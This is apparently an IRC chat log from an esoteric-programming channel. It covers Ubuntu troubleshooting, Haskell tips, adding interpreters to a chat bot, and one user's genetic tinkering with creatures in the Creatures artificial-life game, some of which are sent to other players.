18:40:53 See you in a moment, when I'm running Linux again. 18:41:06 kerlo: that's one quick installer 18:41:31 It's not like I installed Linux in the past couple minutes. 18:41:44 kerlo: what version of Ubuntu is it? 18:41:55 If it's pre-pulseaudio, that may explain screwy sound. 18:42:06 If you've installed a non-Adobe Flash, that would explain YouTube. 18:42:11 I don't recall. Probably the newest. 18:42:19 9.04 18:42:20 ? 18:42:23 I have seen the PulseAudio thing. 18:42:25 You installed it after April 2x? 18:45:59 So here we are now, in containers. And by "in containers", I mean "running Linux". 18:46:22 The version turns out to be 8.10. 18:47:01 * Sgeo became a reddit person 18:47:05 The sound is set to "Autodetect", not "PulseAudio Sound Server". 18:47:37 kerlo: Don't change it. 18:48:12 When you say Accessories → Install/Remove, do you mean Administration → Synaptic Package Manager, by any chance? 18:48:23 No. 18:48:27 I mean Programs → Install/Remove. 18:48:56 And if it's not there, you've messed it up somehow and should just reinstall to exorcise whatever demons are in that installation. 18:49:15 * kerlo tries Applications → Add/Remove 18:49:23 Or that. 18:49:28 I haven't used Ubuntu in a day or two. 18:49:39 What does an asterisk next to e.g. "2 days ago" mean? 18:49:55 Sgeo: comment edited. 18:50:03 ah 18:50:06 ty 18:50:42 Will "Macromedia Flash plugin" do? 18:50:49 kerlo: Yes. 18:50:53 Sgeo: Tips for keeping your sanity on reddit: unsubscribe to politics, news, worldnews, worldpolitics, atheism. Unless you like hearing about how awesome Obama is, how stupid Christians are, and how awesome Obama is (what do you mean "world"). 18:52:07 Or just read /r/{programming,science,technology} which is a good chunk of what's left :-P 18:53:22 Anyway, the "o" of "Elliott" there actually sounds a lot like a short "i". 18:53:35 Which means it's a schwa, which is y, not a short "o", which is a. 18:53:42 kerlo: I suppose os. 18:53:43 *so 18:53:59 so .eli,yt.xrd. 18:54:01 kerlo: what about xrd? 18:54:05 That x is just so fake. 18:54:41 I don't think there's much you can do about that. I mean, you could make it .y'yd. or something. 18:54:54 That's not very Hird 18:54:55 Well, .y'YD. 18:55:11 kerlo: maybe .xird. is more accurate? 18:55:43 Probably not. 18:56:01 That's pretty much a long "e", after all. 18:56:08 * Sgeo wonders if ehird's comment will bring anyone into Agora 18:56:23 Sgeo: probably not. stop stalking me :-P 18:56:40 Anyway, I have to go eat lunch. The sound problem still exists; it's not exclusive to YouTube, apparently. See you when I get back. 18:58:40 I was mistaken. See you when I get there. 18:58:51 wat 18:59:22 And I guess I'll also see you before I leave. 18:59:33 It seems like buffer underruns, being slow and choppy. 18:59:47 That seems very unlikely 18:59:51 My suggestion: reinstall 18:59:55 With 9.04 18:59:59 Mmkay. 19:01:04 I don't suppose there's a convenient "uninstall Ubuntu" thing I can use that will keep my home folder and Firefox's configuration. 19:01:28 kerlo: Don't you have a flashdrive? 19:01:35 cp -R ~ /media/flashdrive/home 19:01:39 cp -R .firefox /media/flashdrive/ff 19:01:40 or sth 19:01:58 kerlo: I think ubuntu has an import thing but it's likely some of your settings are contributing to this 19:02:01 Well, it's only minimal stuff that I would have to do. 19:02:14 ? 19:02:35 All my data resides elsewhere; I'd just have to make new symbolic links to it. 19:02:49 Then go for that 19:02:53 * kerlo nods 19:14:06 bbl, possibly night. (not feeling well) 19:16:25 I could never sleep that early. 19:30:23 state is fun 19:31:04 how do I make this less ugly 19:31:07 http://pastie.org/private/er1czt3oce9nf7tuqcfpg 19:31:56 in particular it's way too polite 19:32:02 by not using state unneccessarily 19:32:16 and not using that fucked up "Wrap" type 19:32:25 does that thing even fulfil the monad laws 19:32:25 though that's kinda similar to how the HTTP module works 19:32:57 comex: isn't that the ((->) t) monad 19:33:03 maybe 19:33:08 ehird: never heard of it 19:34:20 * comex looks at Gtk2Hs documentation 19:34:23 I want to see how real modules do it 19:34:41 gtk2hs does it by being evil, comex. 19:34:49 whatever you're trying to do is probably wrong 19:35:00 I want to make a GUI toolkit :p 19:35:25 comex: you don't even know haskell properly, don't be stupid 19:36:58 :p 19:37:54 * Sgeo is devising ways to torture norns 19:38:52 * Sgeo pokes ehird 19:38:59 I am not a norn 19:40:35 I just figured you'd have interest in this 19:40:46 I do. 19:41:23 what about just declaring UIs functionally 19:41:36 My plan is constantly injecting full Disappointment and Punishment into all the norns in the world 19:41:42 been done, comex. 19:41:43 where the user defines a function blablastate -> UI 19:41:44 And sustaining their lives 19:41:45 I just suggest you learn hs first :P 19:41:47 also 19:41:48 that's not functional 19:41:53 that's just a manual monad 19:41:56 more functional than gtk2hs 19:42:02 no its not 19:42:07 yes, because 19:42:20 They wouldn't actually be in pain, but it would probably cause permanent brain damage after a while 19:42:20 you would declare the ui as a big list or something 19:42:22 no, it's just a manual monad 19:42:29 rather than by specifying operations to create it 19:42:57 As the bits that tell it "Ok, when I'm hungry, I should eat" eventually die from basically being told "WRONG!" 19:43:09 and just about everything rldr 19:43:11 else 19:43:12 [Button, Button, Button] whatever 19:43:13 rather than 19:43:17 button < - buttonNew olol 19:43:27 -!- olsner has joined. 19:44:02 Sgeo: Just give up the habit before Creatures 734723846823: Now They're Sentient 19:44:17 in other news 19:44:37 when I type :w on this remote file, the color goes away 19:44:58 I have to manually :syntax on 19:48:29 Hm 19:48:46 Maybe I should make a potion that, when eaten, causes the norn to have very violent dreams 19:49:10 A song. 19:49:10 "Mormons, mormons, mormons mormons mormons 19:49:12 Mormons, mormons, morrrr- 19:49:13 -mons, mormons, mormons mormons mormons 19:49:16 Mormons, 19:49:18 Mormons!" 19:49:19 When the norn wakes up, no matter what (e.g. hunger, bored, horny), its dream will have taught the norn to hit norns 19:49:56 Sgeo: Just make them reproduce all the time and die of overpopulation (does inbreeding have effects in Creatures?) 19:50:26 I don't think overpopulation is a serious issue, except slowing down the computer 19:50:37 As far as I'm aware, inbreeding has no effects 19:50:48 Sgeo: What, creatures take up no space? 19:51:43 Well, they'd feel crowded eventually 19:51:58 Sgeo: So you can have infinite creatures in infinite space 19:51:59 awesome 19:52:02 Yes, they take up space, but except for the crowdedness drive, they wouldn't notice 19:52:03 Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon MUSLIM MUSLIM! A Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon Mormon MUSLIM MUSLIM 19:52:36 GregorR: Obama! Non-natural-born citizeeeeeeeeeeeeeeeen 19:52:47 a mormon mormon mormon mormon mormon mormon mormon, mormon mormon mormon MUSLIN MUSLIN 19:52:54 ↑ Terrible 19:53:18 * GregorR lols at "muslin muslin" 20:03:01 ^choo mormon 20:03:01 mormon ormon rmon mon on n 20:03:32 What's "choo"? 20:03:52 There were a couple of variants on the "echo" commands on fungot. 20:03:52 fizzie: my hangman doesn't support unicode. 20:03:53 ^choo A magical butt. 20:03:54 A magical butt. magical butt. magical butt. agical butt. gical butt. ical butt. cal butt. al butt. l butt. butt. butt. utt. tt. t. . 20:03:58 20:03 fungot: fizzie: my hangman doesn't support unicode. 20:03:59 ehird: but we're rebuilding anyway, since it makes some sense. but basically, it's riastradh's sketchings i'm filling out nicely... 20:03:59 :DD 20:04:03 wow 20:04:06 it DOES make some sense 20:04:10 fizzie: what did you do to fungot?! 20:04:10 ehird: an alternative would be for. there was this http://www.sarg.ryerson.ca/dmason/ common/ fnord/ comments 20:04:17 fungot: What alternative? 20:04:18 ehird: applying ep1 to ep2 now. 20:04:26 fungot: That sounds like something liable to cause an explosion. 20:04:27 ehird: grrr... why doesn't ( cons ' a ' b 20:04:32 !addinterp c choo char buf[1024]; int i; fgets(buf, 1024, stdin); buf[strlen(buf)-1] = '\0'; for (i = 0; buf[i]; i++) printf("%s ", buf + i); 20:04:32 There is already an interpreter for c! 20:04:37 fungot: You're not cut out to be a Lisp programmer. 20:04:37 Err :P 20:04:41 ... 20:04:41 !addinterp choo c char buf[1024]; int i; fgets(buf, 1024, stdin); buf[strlen(buf)-1] = '\0'; for (i = 0; buf[i]; i++) printf("%s ", buf + i); 20:04:42 Interpreter choo installed. 20:04:45 !choo Hewwo 20:04:46 It hates me :-( 20:04:46 Hewwo ewwo wwo wo o 20:04:51 !choo IM OKA LOTJOIER 20:04:52 IM OKA LOTJOIER M OKA LOTJOIER OKA LOTJOIER OKA LOTJOIER KA LOTJOIER A LOTJOIER LOTJOIER LOTJOIER OTJOIER TJOIER JOIER OIER IER ER R 20:04:55 ^show choo 20:04:56 >,[>,]+32[<]>[[.>]<[<]>[-]>] 20:05:13 !delinterp choo 20:05:14 Interpreter choo deleted. 20:05:17 !addinterp choo bf >,[>,]+32[<]>[[.>]<[<]>[-]>] 20:05:17 Interpreter choo installed. 20:05:21 !choo Hewwo 20:05:21 Hewwo 20:05:25 afk 20:05:26 >_> 20:05:34 Heh, input has a newline. 20:05:36 !delinterp choo 20:05:36 Interpreter choo deleted. 20:05:40 !addinterp choo c char buf[1024]; int i; fgets(buf, 1024, stdin); buf[strlen(buf)-1] = '\0'; for (i = 0; buf[i]; i++) printf("%s ", buf + i); 20:05:40 Interpreter choo installed. 20:05:48 GregorR: '+32' 20:05:51 That means 32 +s. 20:06:00 Oh :P 20:06:04 !delinterp choo 20:06:04 Interpreter choo deleted. 20:06:14 !addinterp choo bf >,[>,]++++++++++++++++++++++++++++++++[<]>[[.>]<[<]>[-]>] 20:06:14 Interpreter choo installed. 20:06:16 !choo CHOO! 20:06:17 CHOO! 20:06:19 No, 'ts still no good because EgoBot sends a newline. 20:06:21 Ahem :P 20:06:29 20:06 EgoBot: HOO! 20:06:29 20:06 EgoBot: OO! 20:06:30 20:06 EgoBot: O! 20:06:58 Yeah, but that's still no good. 20:13:15 \Ö/ 20:13:46 !deilnterp choo 20:13:48 Err 20:13:51 !delinterp choo 20:13:51 Interpreter choo deleted. 20:14:26 !addinterp choo bf >,[>,]<++++++++++++++++++++++[<]>[[.>]<[<]>[-]>] 20:14:26 Interpreter choo installed. 20:14:30 !choo Hewwo 20:14:30 Hewwo ewwo wwo wo o 20:14:42 What a useless thing :P 20:14:43 !show choo 20:14:44 bf >,[>,]<++++++++++++++++++++++[<]>[[.>]<[<]>[-]>] 20:14:44 !choo Dij fog agju ufdhaiug njkknfjks klefjw sdiof 20:14:45 Dij fog agju ufdhaiug njkknfjks klefjw sdiof ij fog agju ufdhaiug njkknfjks klefjw sdiof j fog agju ufdhaiug njkknfjks klefjw sdiof fog agju ufdhaiug njkknfjks klefjw sdiof fog agju ufdhaiug njkknfjks klefjw sdiof og agju ufdhaiug njkknfjks klefjw sdiof g agju ufdhaiug njkknfjks klefjw sdiof agju ufdhaiug njkknfjks klefjw sdiof agju ufdhaiug njkknfjks klefjw sdiof gju ufdhaiug njkknfjks klefjw sdiof ju ufdhaiug njkknfjks klefjw sdiof u ufdhaiug njkk 20:17:10 !userinterps 20:17:10 Installed user interpreters: bfbignum chiqrsx9p choo echo hello rot13 slashes yodawg 20:17:18 !show slashes 20:17:19 perl #!/usr/bin/perl -w 20:17:31 Heh, I'm not going to get that output fully :P 20:18:07 Maybe I could make it ctcp send. 20:18:55 s/ctcp/dcc/ 20:19:47 GregorR: make it pastebin 20:20:14 Make it Codubin. 20:20:17 :p 20:20:34 Make it send it with smoke signals out of your chimney. 20:20:41 fizzie: PURRFECT 20:35:16 comex: it seems to me that the vast majority of your code there is unnecessary. 20:36:04 Do this instead: 20:36:24 data Sometype = SomeType Int Int Int deriving (Show, Eq) 20:36:46 j (SomeType _ _ c) = SomeType 5 9 c 20:36:54 k = j (SomeType 10 11 12) 20:36:58 (fin) 20:39:34 If you need a monad, it's data Wrap a = Wrap ((a, SomeType) -> SomeType), and already exists; it's called State SomeType. 20:39:57 -!- sebbu has joined. 20:40:23 Bleh, /me can't figure out how DCC CHAT is supposed to work. 20:42:25 * kerlo curses his terminal 20:42:37 g - a cursed terminal 20:42:48 * kerlo downloads PuTTY 20:43:40 kerlo: I thought you were using linux 20:43:55 OK, so that's annoying. The IP needs to be in decimal form X_X 20:44:08 That is, one-decimal-number form. 20:44:13 The retarded form everybody forgets exists. 20:44:29 I am using Linux. 20:44:55 For sentimental reasons, I require an ssh client that does not send a username. 20:45:06 It's very nice to connect to an SSH server and be asked for a username. 20:45:20 -!- sebbu2 has quit (Read error: 60 (Operation timed out)). 20:46:23 Does EgoBot have a way to compose commands? 20:46:35 kerlo: why download putty 20:46:38 install it from the package manager 20:46:41 add/remove 20:46:45 You can do that? 20:46:51 Yes. 20:46:54 >_< 20:47:01 Hey, you can. 20:47:02 THAT'S LIKE HALF OF THE WHOLE POINT OF USING LINUX! 20:47:04 Just about everything is in the package manager. 20:47:10 YOU BARELY EVER INSTALL EVERYTHING MANUALLY! :P 20:47:17 Well, I knew that you could download just about everything using the package manager. 20:47:29 I just thought that PuTTY in particular was not available that way. 20:47:50 Right. PuTTY is made of magical unicorns, which are impossible to stick into a .deb 20:48:51 No, I seemed to remember reading something along the lines of "nope, we don't make PuTTY for *NIX; do it yourself". 20:49:56 That's why the distros make it themselves 20:50:35 That makes sense. 20:54:11 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/mandelbrot.b 20:54:13 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 20:54:46 Whoops :P 20:54:49 Forgot to update 20:55:07 "Santa Clara (CA) – Yesterday, we learned that Intel has begun phasing out the Core i7 940 processor, today we are told that the Extreme version 965 will be retired this year as well. " 20:55:17 WHAT THE FUCK ARE YOU DOING INTEL?! 20:55:36 STOP IT :| 20:56:04 Is there something wrong with phasing out first-gen processors? 20:56:17 Deewiant: They were only released a few months ago, and I want one :-P 20:56:26 I guess the 975 will be out sometime, though. 20:56:31 Most likely they'll release replacements. 20:56:53 It's not like they'll just say "nah, we're out of the high-end processor business, AMD can have that" 20:56:57 Lawl 20:57:16 Deewiant: Weeell, you have to go AMD if you want >8 cores. 20:57:39 "High-end desktop" 20:57:42 Sorry :-P 20:57:44 Wait, I think the last-gen Xeons had a single 6 core chip. 20:58:02 Deewiant: Yeah, I just picked up on it since I'm assembling such a system in my head :-P 20:58:09 ... or in an editor window as the case may be. 20:58:33 !befunge98 mycology/mycology.b98 20:58:38 Errr 20:58:50 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 20:58:51 0 1 2 3 4 5 6 7 20:59:00 Whoo boy. 20:59:12 Uses DCC now :) 20:59:18 Works great. 20:59:27 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 20:59:28 0 1 2 3 4 5 6 7 20:59:29 And no limits other than <4K total data. 20:59:29 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/mandelbrot.b 20:59:32 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 20:59:41 Still sends the first line to the channel though ;) 20:59:45 GregorR: my client appears not to do dcc chat. 20:59:55 ehird: Wow, you have a reaaaaaaaally lame client :P 21:00:01 Limechat. 21:00:05 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/mandelbrot.b 21:00:08 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 21:00:09 GregorR: Oh. 21:00:11 GregorR: Hm. 21:00:19 ? 21:00:23 GregorR: Does it wait until it's been accepted before it sends? 21:00:23 GregorR: No, this is odd, it hasn't said the first line of my mycology invocation yet. 21:00:26 I think I only got one line. 21:00:36 GregorR: 21:00 CTCP-query unknown(DCC CHAT) from EgoBot : chat 1077849409 10054 21:00:36 Since I had to look up the command to accept a DCC chat request :-P 21:00:49 Deewiant: There is no command to accept a DCC chat request. 21:01:06 ehird: Yeah, that's not gonna work :P 21:01:06 In my client there is. 21:01:22 Deewiant: Well that's laem. It should still work though, it only sends once you've connected. 21:01:34 http://en.wikipedia.org/wiki/Direct_Client-to-Client#DCC_CHAT 21:01:38 There's a handshake. 21:01:41 * Sgeo hates 16-bit color 21:01:42 GregorR: Just make it run a minimal HTTP server and proxy it from $SERVER, so if the program outputs multiple lines it goes: 21:01:44 first line 21:01:47 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/mandelbrot.b 21:01:50 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 21:01:50 http://codu.org/egobot/snippets/342348 21:01:52 Deewiant: The handshake is "I send you DCC CHAT, you connect" 21:01:57 GregorR: And then have people reload that to get more. 21:02:02 Now I got more. 21:02:05 Fun for everyone! 21:02:20 But then the session got lost or something, half way through 21:02:24 The 4K limit, mayhaps. 21:02:25 ehird: That would be so much more obnoxious. 21:02:36 GregorR: Yeah, exactly, I have to accept the connection, that's what I meant. 21:02:39 GregorR: How? It'd let other people view it, and not have their irc clients beep every 2 seconds. 21:02:52 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/mandelbrot.b 21:02:55 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 21:02:55 ehird: Every 2 seconds? It sends everything INSTANTLY 21:03:11 GregorR: My other reason, then. 21:03:24 I only get one line, AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB, if the chat wasn't already open 21:03:27 PMADDUBSWMultiply and Add Packed Signed and Unsigned BytesTake the bytes in registers A and B, multiply them together, add pairs, signed-saturate and store. IE [a0 a1 a2 ...] pmaddubsw [b0 b1 b2 ...] = [satsw(a0b0+a1b1) satsw(a2b2+a3b3) ...] 21:03:32 What an obvious operation. 21:03:55 Letting other people view it isn't compelling to me, that's really not the point, and I wanted to keep everything more-or-less in-IRC. 21:04:21 A combo would be nice, but a bit of a PITA. 21:04:21 GregorR: If someone runs a command in a public channel, I would assume they're displaying something to the world. They get the first line displayed at least. 21:04:27 If they don't want that why not just /msg the bot? 21:05:09 Well, right now because due to a bug that I haven't figured out, the bot doesn't accept commands over /msg :P 21:05:23 :P 21:05:55 I don't think people are always, or even often, showing something to the world, they're usually pokin' around. 21:06:28 Pokin' around's perfectly possible in /msg. Besides, if it's the fun sort of public pokin' around (innuendo not intended. Maybe.) then THE WORLD SHOULD SEE IT IN ALL IT'S GLOOOOOOOOORY 21:08:06 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/beer.b 21:08:07 99 Bottles of beer on the wall 21:08:23 Heh, it only got as far as 63 :P 21:09:33 And my "immortal" norn died 21:09:36 underwater 21:09:38 I wouldn't probably be in a very good speaking condition after `expr 99 - 63` beers either. 21:10:08 Sgeo: lol 21:10:15 It's not supposed to drown! 21:10:16 Sgeo: make an immortal norn suicidal 21:10:22 watch anguish 21:10:34 I don't think norns can be made suicidal. Violent, but not suicidal 21:10:43 OK, I have to know WTF norns are :P 21:11:30 http://en.wikipedia.org/wiki/Creatures_(artificial_life_program) 21:12:50 * Sgeo deactivates the Death by Low Energy gene 21:13:00 Huh 21:13:20 And death by low ATP, but even without that gene, 0 ATP kills organs, I think 21:13:51 * Sgeo adds full energy to his ATP creation gene 21:15:03 You sleep with the fishies now, tough guy 21:15:15 You do a good job of making it sound godawfully dull. 21:16:12 :P 21:16:21 GregorR: He's not playing the game regularly. 21:16:26 He's hax0ring the internal gene stuff. 21:16:32 I don't think that's supported 21:16:36 It is 21:16:43 But it's not normal gameplay 21:16:44 Well, it's not how you play the game regularly, at least. 21:16:47 Yeah. 21:17:05 Ahhhhhhhhhhh, OK 21:18:31 Who wants to write 8080 code? 21:18:38 WHO DOESN'T? 21:19:12 What about 4004 code? 21:19:19 740 kHz. 21:20:44 This analogy is like a really bad analogy: It's not clever and it makes no sense. 21:21:03 :D 21:21:04 http://www.e4004.szyc.org/ 21:21:42 SWEET! 21:21:52 Not as sweet as JSMIPS but still ;) 21:22:23 GregorR: @\0 21:22:25 An infinite loop. 21:22:29 (That's 40 00, hexwise.) 21:23:09 * 4-Bit Parallel CPU With 46 Instructions 21:23:14 Yep. 21:23:15 That's downright RISC ;) 21:24:10 GregorR: A thought for you while I brb: ARMjs. From the Simple Gargantuan Gadgets (SGG) chip company; an early competitor to Ligence. 21:25:03 Wow, that tells me so little :P 21:26:17 This might be considered torture: The norn will feel needs and make decisions like a regular norn, but will have a neurological issue that causes everything to come out as "hit norn" 21:26:31 lol 21:29:44 Ok, my "hyperviolent" norn, instead of doing what I want, is having sex with the victim 21:30:05 And things that the answer to all of life's problems is to go right 21:30:12 And she fell asleep 21:30:13 WTF 21:30:17 Oh I know 21:30:26 You die now 21:30:54 You are fucked up. 21:30:57 Hm 21:31:08 I was trying to clear all other attempted actions, instead, I set them all to active 21:31:16 pikhq, me? 21:31:53 Si. 21:32:36 lol at the violence machine 21:33:55 Sgeo: Any information on whether openc2e is goodish? 21:33:59 The violence machine is asleep 21:34:09 GregorR, it's not usable for norns yet, I think 21:34:13 It's been a while since I checked 21:34:32 So that makes it not usable with any of the games then, presumably :P 21:34:59 I think you can get DS running without the norns in them 21:35:02 But I'm not sure 21:35:04 Ask in Sine 21:38:26 -!- kar8nga has joined. 21:41:14 The norns walk around with frightened looks on their faces 21:41:17 Scared of Ms. Violence 21:42:46 "em like ms. violence" 21:42:47 wtf 21:43:17 "Ms. Violence" :P 21:43:39 I'm going to have to kill her 21:43:43 She keeps falling asleep 21:44:51 * GregorR adds that to the "list of comments to repeat endlessly out of context" 21:45:02 -!- KingOfKarlsruhe has joined. 21:45:33 She killed all the kids. The only other norn alive is near-immortal 21:46:00 Sounds like this was a really good decision on your part :P 21:46:16 What decision? 21:46:17 Which game in the series are you playing? I think I may actually own Creatures 1 :P 21:46:23 Sgeo: Making Ms. Violence 21:46:23 Docking Station 21:46:46 She can't eat. She doesn't need to eat, but she's hungry 21:46:50 Maybe I should fix that 21:47:00 Sgeo: I thought that was some kind of add-on (judging by Wikipedia), is that an actual (free??) game? 21:47:11 GregorR, yes, it's an actual free game 21:47:18 Oh! 21:47:19 * GregorR downloads. 21:47:36 It's also an add-on 21:47:40 But C3 is optional 21:48:38 21:24 ehird: GregorR: A thought for you while I brb: ARMjs. From the Simple Gargantuan Gadgets (SGG) chip company; an early competitor to Ligence. 21:48:39 21:25 GregorR: Wow, that tells me so little :P 21:48:45 Advanced→Simple 21:48:49 Micro→Gargantuan 21:48:54 Devices→Gadgets 21:48:56 Intel→Ligence 21:49:04 21:43 Sgeo: I'm going to have to kill her 21:49:04 21:43 Sgeo: She keeps falling asleep 21:49:06 lawl 21:49:13 The thing is, she doesn't WANT to hit norns. She is neurologically forced to, but she doens't want to 21:49:22 Sgeo: Hah 21:49:31 -!- jix has joined. 21:49:31 Sgeo: Do the same but with breeding. 21:49:38 I predict a fucked up Norn family. 21:50:23 I find Creatures boring because of the potential for the creatures to become immortal. 21:51:15 And then evolution just stops. 21:51:30 kerlo: Shouldn't you dislike the Singularity for the same reason? 21:52:37 I kind of do. 21:52:39 -!- tombom has joined. 21:57:30 kerlo: With immortality, you just switch to upgrading in-place. 21:57:47 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)). 21:57:51 -!- puzzlet has joined. 21:58:11 That doesn't happen in Creatures. 21:58:39 -!- kar8nga has quit (Remote closed the connection). 21:58:51 ehird, making horny norns now 21:59:09 kerlo: Creatures isn't the singularity :P 22:02:00 They're going at it, and still no preg.. ok, there we go 22:04:21 Ms. Violence disapproves of this family's antics 22:04:33 haha, what's happening 22:06:28 I just fixed the violence genome, the new, untiring Ms. Violence is about to be born 22:06:56 Well, I said "kind of". 22:08:14 Ok, so adults aren't as fragile as children 22:08:31 Even stupid adults trying to do the murderer 22:08:35 $ /usr/local/bin/dockingstation 22:08:35 dirname: missing operand 22:08:36 Blargh 22:08:45 GregorR, there's some patch for that 22:09:16 try http://sgeo.diagonalfish.net/creatures/ds.diff (no guarantees) 22:09:45 ...and I somehow forgot that the superbreeders were immortals 22:09:47 -!- jix has quit ("PRYTA!"). 22:10:46 That's it, I had to kill them all 22:11:03 I'm going to send the violent norns to RANDOM PEOPLE! 22:11:14 " # Is the awk/ls magic portable? " 22:11:16 evidently not! 22:11:52 GregorR, is it working 22:12:28 Seems to be. 22:12:42 norns ? what does it mean ? 22:12:47 Gee, I can't log in :P 22:12:53 * GregorR goes to get food. 22:13:08 GregorR, make an account 22:15:50 ROFL at the fighting match 22:16:17 They like eachother 22:16:40 The girls are fighting the girls and the guys are fighting the guys 22:18:35 The astro girl's dead 22:19:23 This one is watching over the girl's corpse. Probably trying to kill it 22:20:23 Should I feel guilty about this? 22:21:02 -!- puzzlet has quit (Remote closed the connection). 22:21:06 -!- puzzlet has joined. 22:23:33 Sgeo: Are they alive? 22:23:57 The norns that I sent to other random people, who don't realize their nature? Yes, when I sent them 22:24:19 22:20 Sgeo: Should I feel guilty about this? 22:24:35 You shouldn't feel guilty about wrongdoing to things that aren't alive or valuable :-P 22:24:54 But it could hurt the norns that others care about 22:25:00 I don't care about them, but others might 22:25:13 Linux's market share isn't valuable! /me reboots into Windows. 22:25:14 :-P 22:28:57 kerlo: lawl 22:29:03 Sgeo: that's their problem. 22:29:05 it's a game 22:36:48 It's not exactly a competitive game. 22:37:57 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:45:34 -!- BeholdMyGlory has quit (Remote closed the connection). 22:46:20 -!- iano has joined. 22:49:45 Sgeo: I already did make an account. 22:49:56 Um, hm 22:50:01 And you can't connect? 22:50:19 Try renaming server.cfg in the directory storing DS 22:50:25 Then restarting DS 22:51:26 -!- puzzlet has quit (Remote closed the connection). 22:51:31 -!- puzzlet has joined. 22:51:57 AFK 23:07:51 Sgeo: Thanks for the obscenely violent Norn :P 23:08:14 :-D 23:08:15 -!- Gracenotes has joined. 23:10:47 -!- coppro has quit ("The only thing I know is that I know nothing"). 23:10:59 GregorR, you received a norn from me? 23:12:03 Oh, I received a Norn from somebody, with you as the original breeder. 23:12:09 And it killed all my Norns. 23:12:12 It was pretty sweet. 23:12:29 "You should stop warping that norn around. It's sick, and it hits other norns compulsively. Also you have seriously screwed up its DNA. It's a ridiculously fast-ager." 23:13:14 -!- coppro has joined. 23:13:33 Sgeo: Do they not know you did it intentionally? :P 23:13:40 Sgeo: Spread around the uberbreeder. 23:14:04 I think the child of an uberbreeder and a normal norn might be deformed 23:14:13 Sgeo: Excellent 23:14:20 Well, not visibly deformed 23:14:32 But might, say, be completely unable to do anything 23:14:38 Do it 23:14:41 Or might be part immortal, and part suspectible 23:14:51 Also, it's not quite the best breedability yet 23:14:57 Oh just do it 23:14:58 I like havoc 23:15:22 I want to improve the fertility first 23:15:53 "Horny" is really the wrong word. They're not horny, they just compulsively do it 23:16:55 What game you guys playing? 23:17:03 pikhq: Sgeo's breeding mutant Norms in Creatures. 23:17:07 Well, engineering. 23:17:08 Hmm. 23:17:21 * pikhq has always wanted to try that game... 23:18:30 -!- FireFly has quit ("Later"). 23:19:35 * Sgeo does stuff that should increase fertility 23:20:07 * pikhq discovers that it appears to be gratis 23:20:10 Sgeo: How do you send a Norn through the portal? 23:20:16 Two ways 23:20:51 Put it in containment, config the Containment Chamber, click the face of the norn in the bar above the CC, and clikc the green checkmark 23:21:00 Or make a portal: There's a portal creator in that room 23:21:00 Ohhhhhhhhhh 23:21:01 -!- iano has quit. 23:21:20 I was using the portal creator, but I couldn't figure it out >_> 23:22:05 Ok, this should be hyper breeding 23:22:14 Actually, I should make the female's pregnancy go quicker 23:30:37 so far, it still isn't um.. what's the equivelentof birth, but for eggs? 23:31:00 -!- oerjan has joined. 23:31:10 Did she just give birth after I killed her? 23:31:32 ^^calculated to have maximum disturbing effect on oerjan 23:31:36 gestation? 23:31:59 Sgeo: it failed 23:32:41 although that may be because i had already changed to logreading, and so saw the preceding part immediately 23:33:23 afk 23:38:02 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 23:38:15 kisspop, dangit 23:40:40 Well, I'm bored with not effing up my Norns :P 23:40:57 GregorR: Learn CAOS!~ 23:41:01 s/~// 23:41:07 All commands are 4 alphanumerics long 23:41:12 So they fit into a 32-bit word 23:41:14 -!- jix has joined. 23:41:14 So they have a lookup table 23:41:22 And also they have a goto you can return from instead of functions. 23:41:34 ehird, this isn't CAOS that I'm doing 23:41:37 It is a torturous language to torture Norms. 23:41:41 This is the Genetics Kit 23:41:43 Sgeo: Yeah, but CAOS is easier :P 23:42:04 GregorR, Ctrl-Shift-C 23:42:16 In Spanish, "disc" + "ette" would be "disquette". But "ette" isn't a Spanish suffix. 23:42:29 i suspect it's from french, and does it the same way 23:42:32 Then: 23:42:50 enum 4 0 0 sway writ targ 0 1 0 2 0 3 0 4 next 23:42:58 Check the amount of pain they're in 23:45:31 Ultrabreeders, take 1 million 23:47:31 Ah, the sound of continuous sex 23:48:11 The lovers need to be separated in order for the egg to be laid :( 23:48:33 23:47 Sgeo: Ah, the sound of continuous sex 23:48:39 GregorR: there's an out of context thingy for you 23:52:32 My impression of bash.org: 23:52:35 on fire brb 23:52:45 :p 23:53:16 GregorR: 23:53:16 there's a small fire burning in my room 23:53:17 lemme guess im supposed to act suprised that you're telling us and not making any attempt to extinguish 